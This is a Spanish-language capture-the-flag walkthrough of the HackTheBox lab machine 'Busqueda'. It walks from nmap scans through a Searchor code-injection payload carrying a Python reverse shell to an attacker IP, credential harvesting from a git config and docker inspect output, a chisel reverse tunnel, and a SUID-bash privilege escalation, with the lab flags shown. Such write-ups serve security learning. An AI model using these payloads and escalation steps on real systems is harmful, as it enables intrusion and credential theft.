Busqueda



Conocimientos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.208 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 09:52 GMT
Nmap scan report for 10.10.11.208
Host is up (0.12s latency).
Not shown: 65507 closed tcp ports (reset), 26 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.11 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.208 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 09:52 GMT
Nmap scan report for 10.10.11.208
Host is up (0.054s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.07 seconds

Añado el dominio searcher.htb al /etc/hosts

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que utiliza el servidor web

whatweb http://10.10.11.208
http://10.10.11.208 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.208], RedirectLocation[http://searcher.htb/], Title[302 Found]
http://searcher.htb/ [200 OK] Bootstrap[4.1.3], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.10.6], IP[10.10.11.208], JQuery[3.2.1], Python[3.10.6], Script, Title[Searcher], Werkzeug[2.1.2]

Se está empleando Searchor 2.4.0

Es vulnerable a RCE. En este artículo está detallada su explotación. En este POC detallan como explotarlo

Inyecto el payload

POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 112
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

engine=AlternativeTo&query=', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.15',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

Gano acceso al sistema en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.208] 52210
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
svc@busqueda:/var/www/app$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
svc@busqueda:/var/www/app$ export TERM=xterm
svc@busqueda:/var/www/app$ export SHELL=bash
svc@busqueda:/var/www/app$ stty rows 55 columns 209

Puedo ver la primera flag

svc@busqueda:~$ cat user.txt 
9db07fb3a44ab64c9cbcc78af369f0c3

Escalada

El directorio /var/www/app corresponde a un repositorio GIT

svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jun  2 10:16 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates

Se exponen credenciales en texto claro

svc@busqueda:/var/www/app/.git$ cat config 
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

Se reutilizan para este usuario y puedo ver un privilegio a nivel de sudoers

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

No puedo leer lo que hace ni modificar su contenido

cat: /opt/scripts/system-checkup.py: Permission denied
svc@busqueda:~$ ls -la /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24 21:23 /opt/scripts/system-checkup.py

Pero al ejecutarlo me sale un panel de ayuda

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Hay dos contenedores desplegados

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS          PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   4 months ago   Up 12 minutes   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   4 months ago   Up 12 minutes   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Al intentar exportar los datos en JSON no aparece nada

svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-inspect --format='json' mysql_db
--format=json

Con un par de corchetes también

svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-inspect --format='{json}' mysql_db
--format={json}

Pero con dos aparece un error

svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-inspect --format='' mysql_db
template parsing error: template: :1:11: executing "" at <json>: wrong number of args for json: want 1 got 0

Espera que se le solicite un campo. Uno típico a probar el Config, aunque se puede fuzzear

svc@busqueda:/var/www/app/.git$ sudo python3 /opt/scripts/system-checkup.py docker-inspect --format='' mysql_db
--format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}

El puerto 3000 está abierto internamente

svc@busqueda:~$ ss -nltp
State             Recv-Q            Send-Q                       Local Address:Port                         Peer Address:Port            Process                                                                 
LISTEN            0                 4096                             127.0.0.1:222                               0.0.0.0:*                                                                                       
LISTEN            0                 4096                             127.0.0.1:39459                             0.0.0.0:*                                                                                       
LISTEN            0                 128                              127.0.0.1:5000                              0.0.0.0:*                users:(("python3",pid=1670,fd=6),("python3",pid=1670,fd=4))            
LISTEN            0                 4096                             127.0.0.1:3306                              0.0.0.0:*                                                                                       
LISTEN            0                 4096                         127.0.0.53%lo:53                                0.0.0.0:*                                                                                       
LISTEN            0                 128                                0.0.0.0:22                                0.0.0.0:*                                                                                       
LISTEN            0                 4096                             127.0.0.1:3000                              0.0.0.0:*                                                                                       
LISTEN            0                 511                                      *:80                                      *:*                                                                                       
LISTEN            0                 128                                   [::]:22                                   [::]:*                                                                                       
svc@busqueda:~$ 

Utilizo el chisel para aplicar Remote Port Forwarding. En mi equipo lo ejecuto como servidor

chisel server -p 1234 --reverse
2023/06/02 10:39:16 server: Reverse tunnelling enabled
2023/06/02 10:39:16 server: Fingerprint sfdHwMX88RAObnCNtni3uZMOTr28FTeC37OvOSmiL5o=
2023/06/02 10:39:16 server: Listening on http://0.0.0.0:1234

En la máquina víctima como cliente

svc@busqueda:/tmp$ ./chisel client 10.10.16.15:1234 R:socks &>/dev/null & disown

Las credenciales administrator:yuiu1hoiu4i5ho1uh se reutilizan para el Gitea

En uno de ellos se encuentra el system-checkup.py

Su contenido es el siguiente

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output


def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 
        
        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)
    
        except Exception as e:
            print('Something went wrong')
            exit(1)
    
    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 
        
        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

Puedo llegar a ejecutar un script en bash llamado full-checkup.sh. Lo creo en /tmp para asignarle el SUID a la bash

#!/bin/bash
chmod u+s /bin/bash

Puedo ver la segunda flag

svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
svc@busqueda:/tmp$ bash -p
bash-5.1# cat /root/root.txt
59b01d7435b6c3d96169c98af0e1c759